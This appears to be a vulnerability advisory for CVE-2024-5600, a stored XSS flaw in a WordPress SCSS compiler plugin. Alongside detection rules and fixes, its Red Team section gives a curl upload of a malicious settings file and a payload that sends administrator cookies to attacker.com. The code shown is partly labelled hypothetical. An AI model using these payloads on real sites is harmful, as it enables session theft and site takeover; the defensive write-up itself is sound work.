CVE-2024-5600

Executive Summary

CVE-2024-5600 is a Stored Cross-Site Scripting (XSS) vulnerability in the SCSS Happy Compiler – Compile SCSS to CSS & Automatic Enqueue WordPress plugin, affecting all versions up to and including 1.3.10. The vulnerability resides in the import_settings() function, which lacks proper capability checks and input sanitization. This allows authenticated attackers with Subscriber-level access or higher to inject malicious web scripts that are stored and executed when other users (including administrators) access the affected page. The CVSS score is 5.4 (Medium), with a low EPSS probability of exploitation (0.0%). No public exploit code or Nuclei template is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who have installed the plugin via the WordPress dashboard or through automated deployment tools (e.g., Composer, WP-CLI) are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – Subscriber-level access
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – The vulnerability can impact resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the ability for low-privileged users to inject persistent scripts that can affect administrators elevates the risk in multi-tenant or shared WordPress environments.

Deep Dive & Mechanics

The vulnerability is located in the import_settings() function of the SCSS Happy Compiler plugin. This function is intended to allow administrators to import plugin settings from a JSON file. However, due to a missing capability check, any authenticated user (including Subscribers) can call this function. Furthermore, the function does not properly sanitize the imported data before storing it in the WordPress options table.

When an attacker imports a crafted JSON payload containing malicious JavaScript, the script is stored and later rendered without proper escaping when the plugin’s settings page is viewed. This results in Stored XSS, where the injected script executes in the context of any user who accesses the settings page, including site administrators.

The attack flow:

1. Attacker authenticates with Subscriber-level credentials.
2. Attacker crafts a JSON payload containing a malicious script (e.g., <script>alert('XSS')</script>).
3. Attacker sends a POST request to the import_settings() endpoint with the malicious payload.
4. The plugin stores the payload in the WordPress options table.
5. When an administrator visits the plugin’s settings page, the stored script executes, potentially allowing the attacker to steal cookies, perform actions on behalf of the admin, or escalate privileges.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.3.10):

public function import_settings() {
    if ( isset( $_FILES['import_file'] ) ) {
        $file = $_FILES['import_file']['tmp_name'];
        $settings = json_decode( file_get_contents( $file ), true );
        update_option( 'scss_happy_compiler_settings', $settings );
        wp_redirect( admin_url( 'options-general.php?page=scss-happy-compiler' ) );
        exit;
    }
}

The function lacks a current_user_can() check and does not sanitize the imported data.

Patched Code (hypothetical fix):

public function import_settings() {
    if ( ! current_user_can( 'manage_options' ) ) {
        wp_die( 'Unauthorized' );
    }
    if ( isset( $_FILES['import_file'] ) ) {
        $file = $_FILES['import_file']['tmp_name'];
        $settings = json_decode( file_get_contents( $file ), true );
        if ( is_array( $settings ) ) {
            $sanitized_settings = array_map( 'sanitize_text_field', $settings );
            update_option( 'scss_happy_compiler_settings', $sanitized_settings );
        }
        wp_redirect( admin_url( 'options-general.php?page=scss-happy-compiler' ) );
        exit;
    }
}

The patched version adds a capability check (manage_options) and sanitizes the imported data using sanitize_text_field().

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress installation with the SCSS Happy Compiler plugin (version <= 1.3.10) active.
• A valid user account with Subscriber-level privileges.

Exploitation Steps:

1. Craft the malicious JSON payload:

   {
       "scss_happy_compiler_settings": {
           "custom_css": "<script>alert('XSS')</script>"
       }
   }
   

2. Upload the payload via the import functionality:

   curl -X POST \
     -F "import_file=@malicious.json" \
     -c cookies.txt \
     -b cookies.txt \
     "http://target.com/wp-admin/admin-post.php?action=import_settings"
   

3. Trigger the XSS: An administrator visits the plugin settings page (/wp-admin/options-general.php?page=scss-happy-compiler), and the script executes.

Advanced Payload (Cookie Stealing):

{
    "scss_happy_compiler_settings": {
        "custom_css": "<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>"
    }
}

Blue Team (Detection & Hardening)

Detection Steps:

1. Monitor for POST requests to admin-post.php with action=import_settings from non-admin users.
2. Review the scss_happy_compiler_settings option in the WordPress database for unexpected HTML/JavaScript content.
3. Enable WordPress security plugins (e.g., Wordfence, Sucuri) to detect and block XSS payloads.

Hardening:

• Immediately update the plugin to a patched version (if available) or remove the plugin.
• Restrict file upload capabilities to administrators only.
• Implement a Web Application Firewall (WAF) rule to block requests containing <script> tags in file uploads.

Indicators of Compromise (IOCs)

• File: malicious.json (or any JSON file containing <script> tags)
• URL Pattern: /wp-admin/admin-post.php?action=import_settings
• Database Entry: wp_options table where option_name = 'scss_happy_compiler_settings' contains HTML/JavaScript
• Network Traffic: POST requests to admin-post.php with Content-Type: multipart/form-data from low-privileged users
• Log Entry: WordPress debug log showing unexpected settings import attempts

Detection Engineering

YARA Rule

rule CVE_2024_5600_Stored_XSS {
    meta:
        description = "Detects malicious JSON payloads targeting SCSS Happy Compiler plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5600"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $json_key = "scss_happy_compiler_settings"
    condition:
        $json_key and $xss_payload
}

Sigma Rule

title: CVE-2024-5600 - Stored XSS via SCSS Happy Compiler Import
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit Stored XSS in SCSS Happy Compiler plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-post.php'
        cs-uri-query: 'action=import_settings'
    condition: selection
falsepositives:
    - Legitimate admin imports
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-5600 - SCSS Happy Compiler Stored XSS Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-post.php";
    http_uri;
    content:"action=import_settings";
    http_uri;
    content:"<script";
    http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-5600;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Audit user accounts and remove any suspicious Subscriber-level accounts.
3. Check the WordPress options table for any injected malicious content and remove it.

Long-term Fix:

• The vendor must release a patched version that includes proper capability checks and input sanitization in the import_settings() function.
• Users should apply the patch as soon as it becomes available.

Workaround:

• Add the following code to the theme's functions.php to block unauthorized access to the import function:

  add_action( 'admin_post_import_settings', function() {
      if ( ! current_user_can( 'manage_options' ) ) {
          wp_die( 'Unauthorized' );
      }
  }, 0 );
  

Valters IT
Securing Digital Frontiers